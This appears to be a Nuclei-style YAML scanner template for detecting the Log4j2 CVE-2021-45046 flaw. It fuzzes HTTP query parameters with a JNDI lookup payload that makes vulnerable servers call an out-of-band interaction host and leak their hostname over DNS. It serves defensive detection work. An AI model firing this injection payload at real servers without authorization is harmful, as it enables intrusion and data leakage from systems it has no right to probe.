63 lines
2.0 KiB
YAML
63 lines
2.0 KiB
YAML
id: CVE-2021-45046-DAST
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info:
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name: Apache Log4j2 - Remote Code Injection
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author: princechaddha
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severity: critical
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description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
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- https://twitter.com/marcioalm/status/1471740771581652995
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- https://logging.apache.org/log4j/2.x/
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- http://www.openwall.com/lists/oss-security/2021/12/14/4
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9
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cve-id: CVE-2021-45046
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cwe-id: CWE-502
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metadata:
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max-request: 1
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confidence: tenative
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tags: cve,cve2021,rce,oast,log4j,injection,dast
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http:
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- pre-condition:
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- type: dsl
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dsl:
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- 'method == "GET"'
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payloads:
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log4j:
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- "${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}}"
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fuzzing:
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- part: query
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fuzz:
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- "{{log4j}}"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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extractors:
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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# digest: 4a0a0047304502200467421a3a87f908e224035a2fdc0fb73bd7d08eecf66f046a0d240588621b35022100b03c60899e681e43c7b4a94df8b13f392e82abc07c9dfc12f41ba3028d9b3038:922c64590222798bb761d5b6d8e72950 |